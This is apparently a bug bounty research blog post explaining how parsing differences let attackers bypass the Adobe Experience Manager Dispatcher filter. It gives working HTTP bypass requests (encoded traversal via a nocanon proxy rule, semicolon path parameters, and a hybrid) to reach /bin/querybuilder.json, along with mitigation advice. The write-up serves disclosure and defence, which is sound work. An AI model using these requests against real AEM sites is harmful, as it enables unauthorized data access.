CriticalAEMSecurity Research

Finding Critical Bugs in Adobe Experience Manager (AEM)

Muhammad Waseem • Bug Bounty Writeup

Disclaimer

This research is for educational purposes only. Unauthorized testing against systems is illegal. Always follow responsible disclosure guidelines.

Assaalam o Alaikum :)

My name is Muhammad Waseem. Today we are discussing Adobe Experience Manager (AEM) Dispatcher bypasses. I was normally scrolling Twitter when I saw a post from @infosec_au (Shubham Shah) about an AEM Dispatcher bypass. This inspired me to dig deep into the internals of AEM security.

Table of Contents

  • Vulnerability Overview
  • Dispatcher Configuration (OOTB)
  • Dispatcher Bypass #1: nocanon
  • Apache Sling: URL Decomposition
  • Dispatcher Bypass #2: Path Parameters
  • Dispatcher Bypass 2.5: Hybrid Approach
  • How to Audit AEM Servlets
  • Security Impact & Mitigation

Vulnerability Overview

Target: Adobe Experience Manager (AEM)

Impact: Full Read SSRF, XXE, EL Injection, Information Disclosure

Primary Defense: AEM Dispatcher (Apache/IIS Module)

Exploit Mechanism: Parsing differentials between Dispatcher and Sling Framework

The core of AEM exposes endpoints like /bin/querybuilder.json that leak sensitive node information. The Dispatcher is meant to block these, but flawed regexes and normalization issues allow for critical bypasses.

Dispatcher Configuration (OOTB)

Here’s a sample of the out-of-the-box dispatcher configuration for cloud AEM instances. It uses a "deny everything" approach with specific "allow" rules.

# Start with everything blocked
/0001 { /type "deny" /url "*" }

# Allow static content
/0010 { /type "allow" /extension '(css|eot|gif|ico|jpeg|jpg|js|pdf|png|svg|swf|ttf|woff|woff2|html|mp4|mov|m4v)' /path "/content/*" }

# Enable clientlibs proxy
/0012 { /type "allow" /method "GET" /url "/etc.clientlibs/*" }

01.Dispatcher Bypass #1: The nocanon Trick

Apache configurations often include special handling for certain paths like GraphQL. The use of the nocanon keyword is the key here.

<LocationMatch "/graphql/execute.json/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT} nocanon
</LocationMatch>

Normally, Apache normalizes the URL. But nocanon passes the URL "raw" to the backend. We can use encoded traversal to bypass the regex check.

HTTP Bypass Request

GET /graphql/execute.json/..%2f../bin/querybuilder.json HTTP/1.1
Host: target.com

Result: Apache matches /graphql/execute.json/.*, but Jetty (the backend) normalizes the path to /bin/querybuilder.json, giving us full access.

Apache Sling – URL Decomposition

To find deeper bypasses, we must understand how Sling parses URLs. A path like /bin/querybuilder.tiny.json;x='hello'/extra is decomposed into components:

  • Resource Path: /bin/querybuilder
  • Selectors: tiny
  • Extension: json
  • Path Parameter: x='hello'
  • Suffix: /extra

02.Dispatcher Bypass #2: Path Parameters

The Dispatcher's C module (decompose_url) fails to account for semicolons (path parameters). It treats them as part of the filename or extension.

Internal decompose_url Logic (C)

pcVar1 = strchr(pcVar1,L'.'); // Only looks for dots
if (pcVar1 != (char *)0x0) {
    pcVar2 = strchr(pcVar1,L'/'); // Looks for suffix
    // ... logic for extension ...
}

We can craft a URL that looks like a safe static file to the Dispatcher but is parsed as a sensitive servlet by Sling.

Bypass Request

GET /bin/querybuilder.json;x='a/b.css/c' HTTP/1.1

Analysis: Dispatcher thinks the extension is .css (allowed). Sling parses the resource path as /bin/querybuilder and the extension as .json.

03.Dispatcher Bypass 2.5: Hybrid Approach

If a WAF blocks traversals, we can combine the unanchored regex in LocationMatch with path parameters.

Hybrid Payload

GET /bin/querybuilder.json;x='x/graphql/execute/json/x' HTTP/1.1

This triggers the nocanon rule for GraphQL anywhere in the path, successfully routing the request to the backend while bypassing the Dispatcher's primary filters.

How to Audit AEM Servlets

Once the Dispatcher is bypassed, we can target specific servlets. Look for these annotations in the AEM codebase:

@SlingServlet(paths={"/bin/vulnerable"})
@SlingServletResourceTypes(resourceTypes={"dam/components/marketingcloud/config"})

To find resources for a specific resource type, use JCR SQL2 queries:

SELECT * FROM [nt:base] WHERE ISDESCENDANTNODE([/libs]) 
AND [sling:resourceType] = 'cq/cloudconfig/oauthservlet'

Security Impact

  • Information Disclosure: Leaking the entire site structure and user node data.
  • SSRF: Using internal servlets like AccessTokenServlet to pivot into the internal network.
  • RCE: Exploiting Expression Language (EL) injection in cloud configurations to leak AWS/Azure keys.
  • XXE: Blind XXE in the Jackrabbit package manager via malicious XML uploads.

Mitigation Recommendations

  • Anchor Regexes: Always use ^ and $ in your Apache LocationMatch rules.
  • Strict Normalization: Avoid using nocanon unless absolutely necessary and strictly filtered.
  • Deny-by-Default: Ensure the Dispatcher filters are as restrictive as possible.
  • Patching: Apply the GRANITE-61551 Hotfix and maintain updated AEM versions.

References

Back to Blogs